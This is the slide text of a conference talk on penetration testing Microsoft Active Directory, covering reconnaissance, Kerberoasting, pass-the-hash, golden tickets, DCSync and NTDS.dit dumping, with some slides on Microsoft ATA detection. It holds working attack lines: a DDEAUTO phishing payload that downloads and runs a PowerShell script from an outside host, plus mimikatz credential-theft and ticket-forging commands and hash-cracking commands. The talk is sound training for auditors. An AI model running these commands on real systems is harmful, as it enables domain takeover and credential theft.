Carlos García - Pentesting Active Directory [rooted2018]
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Introducción a las pruebas de intrusión en entornos Microsoft Active Directory en forma de ponencia práctica para auditores o personas interesadas en el pentesting en entornos corporativos. Se dará una breve introducción al servicio de directorio Active Directory y sus componentes más críticos desde el punto de vista de la seguridad.Posteriormente, se explicarán las principales diferencias con respecto a un pentesting clásico de infraestructura, así como las técnicas y ataques más comunes para llevar a cabo el ejercicio y comprometer completamente el dominio corporativo.Requisitos: Se recomienda que los asistentes tengan conocimientos básicos de Active Directory y básicos/medios de pentesting o hacking ético, preferiblemente en infraestructuras y/o Sistemas Operativos.
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Carlos García - Pentesting Active Directory [rooted2018]
- 1. PENTESTING ACTIVE DIRECTORY Carlos García García ciyinet
- 2. ciyinet WHOAMI Carlos García García - Computer Science Engineer - Penetration Testing and Red Teaming - OSCP Certified - Co-author book “Hacking Windows: Ataques a sistemas y redes Microsoft” 2Pentesting Active Directory
- 3. ciyinet WHAT ARE WE GOING TO TALK ABOUT? - Introduction to Active Directory - Authentication Protocols - Active Directory Penetration Testing - Reconnaissance - Common Attacks & Techniques - Lateral and Vertical Movements - How-to Avoid Being Caught 3Pentesting Active Directory
- 4. ciyinet BEAR IN MIND - AD-related techniques - I learn Active Directory from the offensive side - We lower risks and not the other way around - This is going to be intense 4Pentesting Active Directory
- 5. ciyinet 5 ACTIVE DIRECTORY 101 Pentesting Active Directory
- 6. ciyinet ACTIVE DIRECTORY 101 • AD is Microsoft’s answer to directory services • Directory service is a hierarchical structure to store objects for quick access and management of all resources 6Pentesting Active Directory
- 7. ciyinet ACTIVE DIRECTORY 101 • Uses LDAP as its access protocol • Relies on DNS as its locator service, enabling clients to locate domain controllers through DNS queries • AD supports several Naming Conventions • User Principal Names (UPN): • user@domain • LDAP names (Distinguished Names): • cn=common name • ou=organizational unit • dc=domain • for eg. cn=ciyi, ou=Madrid, dc=Rooted, dc=CON 7Pentesting Active Directory
- 8. ciyinet ACTIVE DIRECTORY 101 8Pentesting Active Directory
- 9. ciyinet ACTIVE DIRECTORY 101 Just a Database: NTDS.dit 9Pentesting Active Directory
- 10. ciyinet ACTIVE DIRECTORY 101 Domain Controllers and Domain Admins 10Pentesting Active Directory
- 11. ciyinet CREDENTIALS FLOW IN WINDOWS 11Pentesting Active Directory
- 12. ciyinet 12 NTLM SCHEME Pentesting Active Directory Protocol Algorithm Secret to use LM DES-ECB Hash LM NTLMv1 DES-ECB Hash NT NTLMv2 HMAC-MD5 Hash NT
- 13. ciyinet 13 KERBEROS SCHEME Pentesting Active Directory Protocol Secret to use Kerberos RC4 = Hash NT AES128 key AES256 key
- 14. ciyinet 14 KERBEROS SCHEME Pentesting Active Directory 1. Client encrypts a timestamp with his/her hash/key 2. Client receives a TGT signed with the domain krbtgt account that proves they are who they say they are 3. The TGT is then used to request service tickets (TGS) for specific resources/services on the domain. 4. DC sends a TGS ticket encrypted using the hash of the account that is associated with that service (SPN) Protocol Secret to use Kerberos RC4 = Hash NT AES128 key AES256 key
- 15. PENTESTING ACTIVE DIRECTORY Sure, but how about actually pentesting it?
- 16. ciyinet ACTIVE DIRECTORY PENETRATION TESTING The Goal 16Pentesting Active Directory
- 17. ciyinet ACTIVE DIRECTORY PENETRATION TESTING The Goal 17Pentesting Active Directory • Domain admins • Enterprise admins • Built-in administrators • Account Operators • Allowed RODC Password Replication Group • Backup Operators • DnsAdmins • …
- 18. ciyinet ACTIVE DIRECTORY PENETRATION TESTING The real Goal! 18Pentesting Active Directory
- 19. ciyinet ACTIVE DIRECTORY PENETRATION TESTING The real Goal! WMIC 19Pentesting Active Directory
- 20. ciyinet 20 ATTACK KILL CHAIN Reference: Microsoft Advanced Threat Analytics Pentesting Active Directory
- 21. ciyinet 21 ATTACK KILL CHAIN Pentesting Active Directory
- 22. ciyinet 22 ATTACK KILL CHAIN Pentesting Active Directory
- 24. ciyinet 24Pentesting Active Directory
- 26. ciyinet 26Pentesting Active Directory
- 27. ciyinet 27 PHISHING + DDEAUTO = RCE • Dynamic Data Exchange (DDE): protocol for transferring data between applications • Valid for MS Excel, MS Word… and MS Outlook • Recently used as macro-less Malware DDEAUTO "C:ProgramsMicrosoftOffice365Outlook........windowssystem 32WindowsPowerShellv1.0powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://172.16.201.201:8000/empire- test.ps1');powershell -e $e # " "Beneficios Qurtuba" Pentesting Active Directory
- 28. ciyinet 28
- 29. ciyinet 29 NEXT STEPS • Persistence (userland) • Recoinaissance • Privilege escalation • PowerSploit PowerUp • Bypass UAC • … • Persistence (admin) • Lateral and vertical movements • Grab and exfiltrate trophies Pentesting Active Directory
- 31. ciyinet LOCAL RECONNAISSANCE Collect information of the network, process and OS in order to investigate what kind of machine we succeeded in infecting Command Description ipconfig /all Displays the IP address, subnet mask, and default gateway for all adapters. Also info about DHCP and DNS settings whoami /all Displays all information in the current access token, including the current user name, security identifiers (SID), privileges, and groups that the current user belongs to net localgroup Displays the name of the server and the names of local groups on the computer. net localgroup “administrators” Displays local administrators netstat -an Displays active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table tasklist /V Displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer 31Pentesting Active Directory
- 32. ciyinet LOCAL RECONNAISSANCE Collect information of the network, process and OS in order to investigate what kind of machine we succeeded in infecting Command Description net start Lists started Windows services sc qc <SERVICE> Gets the parameters for an individual service accesschk.exe -ucqv <SERVICE> Determine service access control rules (accesschk.exe is part of Microsoft Sysinternals suite) systeminfo > info_output.txt Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties, such as RAM, disk space, and network cards schtasks /query /fo LIST /v list of scheduled tasks: whether they are recurring, where the task can be found and its parameters, as well as, crucially, what permissions they are run with dir, type, findstr Browse and search for information in the local file system. 32Pentesting Active Directory
- 33. ciyinet NETWORK RECONNAISSANCE Command Description ping ☺ echo %USERDOMAIN% Domain name which the host is joined to echo %logonserver% Obtains the name of the Domain Controller the host used to authenticate toset logonserver net group /domain Lists existing groups in the domain net group <GROUP NAME>/domain Lists members of a group. I.e: “domain computers”, “domain controllers”, “domain admins” net localgroup administrators /domain Gets members of the built-in group “Administrators” Collect information of the network, process and OS in order to investigate what kind of machine we succeeded in infecting 33Pentesting Active Directory
- 34. ciyinet NETWORK RECONNAISSANCE Command Description net user /domain Lists all users within the domaindominio actual net user <ACCOUNT NAME> /domain Obtains detailed information about a user given his username net view Displays a list of domains, computers, or resources that are being shared by the specified computer. Used without parameters, net view displays a list of computers in your current domain net use Access to shared resources net accounts /domain Obtains the domain password policy nltest /domain_trusts Maps trust relationships Collect information of the network, process and OS in order to investigate what kind of machine we succeeded in infecting 34Pentesting Active Directory
- 35. ciyinet 35
- 36. PENTESTING ACTIVE DIRECTORY Common Attacks & Techniques
- 37. ciyinet 37 COMMON ATTACKS & TECHNIQUES • Passwords in SYSVOL & Group Policy Preferences – 10% • Missing Patches; Exploit the MS14-068 on a DC Missing the Patch – 5% • Kerberos TGS Service Ticket Cracking (Kerberoast) – 20% • SMB Shares Mining – 75% • Credential Theft Shuffle (“Mimikatz dance”) – 60% Reference: https://adsecurity.org/?p=2362 Pentesting Active Directory
- 38. ciyinet 38 COMMON ATTACKS & TECHNIQUES • Passwords in SYSVOL & Group Policy Preferences – 10% • Missing Patches; Exploit the MS14-068 on a DC Missing the Patch – 5% • Kerberos TGS Service Ticket Cracking (Kerberoast) – 20% • SMB Shares Mining – 75% • Credential Theft Shuffle (“Mimikatz dance”) – 60% Reference: https://adsecurity.org/?p=2362 Pentesting Active Directory
- 39. ciyinet 39 KERBEROAST Pentesting Active Directory 1. Client encrypts a timestamp with his/her hash/key 2. Client receives a TGT signed with the domain krbtgt account that proves they are who they say they are 3. The TGT is then used to request service tickets (TGS) for specific resources/services on the domain. 4. DC sends a TGS ticket encrypted using the hash of the account that is associated with that service (SPN) Attacker
- 40. ciyinet 40 KERBEROAST • Offline brute force of password of service account within service tickets (TGS) • No risk of detection • No account lockouts • Invoke-Kerberoast from PowerView (dev) to collect hashes • Focus on user accounts. They have shorter passwords • JohnTheRipper (magnumripper) to crack them References: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/magnumripper/JohnTheRipper Pentesting Active Directory
- 41. ciyinet 41 SMB SHARES MINING • Usually very fruitful, but sometimes boring and time consuming • Enumerating shares in the environment and looking for data with hardcoded creds (scripts, config files), backups, documentation… PowerView Find-ShareDomain • Searches for computer shares on the domain. If -CheckShareAccess is passed, then only shares the current user has read access to are returned. smbmap • Intended to simplify searching for potentially sensitive data across large networks. • Enumerates samba share drives across an entire domain. List drives, permissions, contents, upload/download functionality, file name auto-download pattern matching, etc. Reference: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/ShawnDEvans/smbmap Pentesting Active Directory
- 42. ciyinetTitulo de la Ponencia 42
- 43. ciyinet 43 CREDENTIAL THEFT SHUFFLE • Escalating privileges on some machine • Extracting creds/hashes from memory • Derivative administrator • User hunting: moving laterally and repeating the attack till Domain Admin level is reached References: https://github.com/gentilkiwi/mimikatz Pentesting Active Directory “Mimikatz dance”
- 44. ciyinet DERIVATIVE ADMINISTRATOR 44Pentesting Active Directory
- 45. ciyinet 45 USER HUNTING List local admins remotely • Get-localadmin (Script) • Get-NetLocalGroup (PowerView) List active sessions remotely • PsLoggedon (Sysinternals) • Get-NetLoggedon (PowerView) • Get-NetSession (PowerView) • Tasklist References: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://docs.microsoft.com/en-us/sysinternals/ https://gitlab.com/ciyinet/ciyinotes/blob/master/Microsoft%20Windows/readme.md Pentesting Active Directory
- 46. ciyinet 46
- 47. ciyinet 47 USER HUNTING • Invoke-UserHunter (PowerView) • BloodHound 1. Gets groups and group members of each group 2. Lists domain computers 3. Obtains local admins for each computer 4. Lists active sessions on each computer References: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/BloodHoundAD/BloodHound Pentesting Active Directory
- 48. ciyinet
- 49. Creds dump + Privs escalation
- 50. ciyinetPentesting Active Directory 50 NTLM RELAY
- 51. ciyinet 51 PASS-THE-HASH Pentesting Active Directory Protocol Algorithm Secret to use LM DES-ECB Hash LM NTLMv1 DES-ECB Hash NT NTLMv2 HMAC-MD5 Hash NT
- 52. ciyinet 52 PASS-THE-HASH Pentesting Active Directory Protocol Algorithm Secret to use LM DES-ECB Hash LM NTLMv1 DES-ECB Hash NT NTLMv2 HMAC-MD5 Hash NT
- 53. ciyinet 53 OVERPASS-THE-HASH (PASS-THE-KEY) Kerberos Kerberos References: http://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash Pentesting Active Directory Protocol Secret to use Kerberos RC4 = Hash NT AES128 key AES256 key
- 54. ciyinet 54 (OVER)PASS-THE-HASH Pentesting Active Directory mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:FQDN /user:USERNAME /ntlm:NT_HASH /run:PROGRAM"
- 55. Titulo de la Ponencia 55
- 56. ciyinetPentesting Active Directory 56 PASS-THE-TICKET • Inject Kerberos tickets • Tickets must be in Kerberos credential format (KRB_CRED) - http://tools.ietf.org/html/rfc4120#section-5.8 • Kerberos module does not require any privilege. It uses official Microsoft Kerberos API mimikatz.exe "kerberos::ptt FILENAME"
- 57. ciyinet 57 GOLDEN TICKET Encrypted with KRBTGT hash Attacker TGT: • Username • Groups membership • … krbtgt:hash Pentesting Active Directory
- 58. ciyinet 58 GOLDEN TICKET KRBTGT hash can be used to generate arbitrary TGT: • Made by the attacker, not KDC • Anything can be pushed inside mimikatz.exe "kerberos::golden /domain:FQDN /sid:DOMAIN_SID /krbtgt:NT_HASH /user:USERNAME /id:ID /groups:500,501,513,512,520,518,519 /ptt" Pentesting Active Directory
- 60. ciyinet 60 DCSYNC • It “impersonates” a Domain Controller and requests account password data from the targeted Domain Controller • Replicates the user credentials via GetNCChanges (Directory Replication Service (DRS) Remote Protocol) • Special rights are required to run DCSync mimikatz.exe "lsadump::dcsync /dc:DC /domain:DOMAIN /user:USERNAME" exit mimikatz.exe "lsadump::dcsync /all /csv" exit Pentesting Active Directory
- 62. ciyinetPentesting Active Directory 62 DCSHADOW Register new domain controllers to inject malicious AD objects and so create backdoors or any kind of illegitimate access or right Reference: https://blog.alsid.eu/dcshadow-explained-4510f52fc19d Hi guys! This is DCShadow!
- 63. PENTESTING ACTIVE DIRECTORY dir is boring, show me how to RCE
- 64. ciyinetPentesting Active Directory 64 REMOTE CODE EXECUTION AT Schtasks SC at TARGET_HOST HH:MM EXECUTABLE schtasks /create /tn TASK_NAME /tr EXECUTABLE /sc once /st 00:00 /S TARGET_HOST /RU System schtasks /run /tn TASK_NAME /S TARGET_HOST sc TARGET_HOST create SERVICE_NAME binpath= “EXECUTABLE” sc TARGET_HOST start SERVICE_NAME
- 65. ciyinetPentesting Active Directory 65 REMOTE CODE EXECUTION WMIC WinRM PsExec wmic /node:TARGET_HOST process call create “EXECUTABLE” Invoke-Command –ComputerName TARGET_HOST –ScriptBlock { COMMAND(S) } PsExec.exe TARGET_HOST –u USER PROCESS
- 66. PENTESTING ACTIVE DIRECTORY Let’s grab the NTDS.dit DB
- 68. ciyinet NTDS.DIT How-to get hashes from it: 1. Decrypt Password Encryption Key (PEK). PEK is encrypted using bootkey 2. Hashes decryption first round with PEK using RC4 3. Hashes decryption second round with DES 68Pentesting Active Directory
- 69. ciyinet 69 GRAB NTDS.DIT AND SYSTEM Volume Shadow Copy Ntdsutil Invoke-NinjaCopy Invoke-NinjaCopy –Path “C:WindowsNTDSntds.dit” –LocalDestination “C:ntds.dit” Invoke-NinjaCopy –Path “C:WindowsSystem32configSYSTEM” –LocalDestination “C:SYSTEM” ntdsutil "ac i ntds" "ifm" "create full c:copy-ntds" quit quit vssadmin create shadow /for=C: Pentesting Active Directory
- 70. ciyinetTitulo de la Ponencia 70
- 71. ciyinetTitulo de la Ponencia 71
- 72. ciyinet John the Ripper Hashcat & Rockyou wordlist 72 CRACKING NT HASHES john FILE_HASHES --format=NT hashcat -a 0 -m 1000 --username FILE_HASHES /usr/share/wordlists/rockyou.txt --potfile-path OUTPUT_NT.pot Pentesting Active Directory
- 74. Pentesting Active Directory 74
- 75. PENTESTING ACTIVE DIRECTORY But how about the blue team? Microsoft ATA
- 76. ciyinetPentesting Active Directory 76 MICROSOFT ATA
- 77. ciyinet 77 PASS-THE-HASH Pentesting Active Directory • Based on local Security events • Not capture by ATA by default • Force NTLM to be used • Overpass-the-hash: Encryption downgrade is detected mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:FQDN /user:USERNAME /ntlm:NT_HASH /aes128:AES128_key /aes256:AES256_key /run:PROGRAM " exit
- 78. ciyinet 78 PASS-THE-HASH Pentesting Active Directory • Based on local Security events • Not capture by ATA by default • Force NTLM to be used • Overpass-the-hash: Encryption downgrade is detected mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:FQDN /user:USERNAME /ntlm:NT_HASH /aes128:AES128_key /aes256:AES256_key /run:PROGRAM " exit
- 80. ciyinet 80 GOLDEN TICKET • Same as overpass-the-hash • Detection based on lifetime • Default ticket lifetime in AD is 10 hours mimikatz.exe "kerberos::golden /domain:FQDN /sid:DOMAIN_SID /krbtgt:NT_HASH /aes128:AES128_key /aes256:AES256_key /startoffset:0 /endin:600 /renewmax:10080 /user:USERNAME /ptt" Pentesting Active Directory
- 81. ciyinet 81 GOLDEN TICKET • Same as overpass-the-hash • Detection based on lifetime • Default ticket lifetime in AD is 10 hours mimikatz.exe "kerberos::golden /domain:FQDN /sid:DOMAIN_SID /krbtgt:NT_HASH /aes128:AES128_key /aes256:AES256_key /startoffset:0 /endin:600 /renewmax:10080 /user:USERNAME /ptt" Pentesting Active Directory
- 82. ciyinet 82 GOLDEN TICKET • Same as overpass-the-hash • Detection based on lifetime • Default ticket lifetime in AD is 10 hours mimikatz.exe "kerberos::golden /domain:FQDN /sid:DOMAIN_SID /krbtgt:NT_HASH /aes128:AES128_key /aes256:AES256_key /startoffset:0 /endin:600 /renewmax:10080 /user:USERNAME /ptt" Pentesting Active Directory
- 83. ciyinet 83 DCSYNC DRS traffic (DSGetNCChanges) from a non-DC to a DC system can be detected Pentesting Active Directory
- 84. ciyinet 84 DCSYNC DRS traffic (DSGetNCChanges) from a non-DC to a DC system can be detected Microsoft ATA Attacker Pentesting Active Directory
- 86. ciyinet 86 • Plaintext creds • WDigest • SMB Mining • mimikittenz • LaZagne • WCMDump • Hash • Memory dump • … Pentesting Active Directory
- 87. ciyinet 87 • Run as • NTLM Relay • Pass-the-hash • Pass-the-ticket • Golden ticket Logon session User SID Group SIDs Logon SID Others … Access token Pentesting Active Directory
- 88. ciyinet 88 • PsExec • WinRM • AT • Schtasks • WMIC • SC Pentesting Active Directory
- 89. ciyinet 89 • DCSync • DCShadow • Golden ticket • SMB Mining Pentesting Active Directory
- 90. ciyinet 90 • DCSync • DCShadow • Golden ticket • SMB Mining Pentesting Active Directory
- 91. ciyinet 91 • NTDS.dit • Volume Shadow Copy • Ntdsutil • Invoke-NinjaCopy • Persistence • Golden ticket • Skeleton key • ACL-based backdoors • Malicious SSP • Password filters • …. • DSInternals • Impacket Secretsdump Pentesting Active Directory • Crack hashes
- 92. ciyinet 92 • NTDS.dit • Volume Shadow Copy • Ntdsutil • Invoke-NinjaCopy • Persistence • Golden ticket • Skeleton key • ACL-based backdoors • Malicious SSP • Password filters • …. • DSInternals • Impacket Secretsdump Pentesting Active Directory • Crack hashes
- 93. ciyinet 93 BUSINESS RISK Compromise of just one Domain Admin account in the Active Directory exposes the entire organization to risk. The attacker would have unrestricted access to all resources managed by the domain, all users, servers, workstations and data. Moreover, the attacker could instantly establish persistence in the Active Directory environment, which is difficult to notice and cannot be efficiently remediated with guarantees. “Once domain admin, always domain admin” Pentesting Active Directory
- 94. ciyinet 94 ACKNOWLEDGMENT & REFERENCES • Miroslav Sotak and TVM team • FWHIBBIT • RootedCON and any other Sec Community in Spain Pentesting Active Directory
- 95. ciyinetPentesting Active Directory 95 PENTESTING ACTIVE DIRECTORY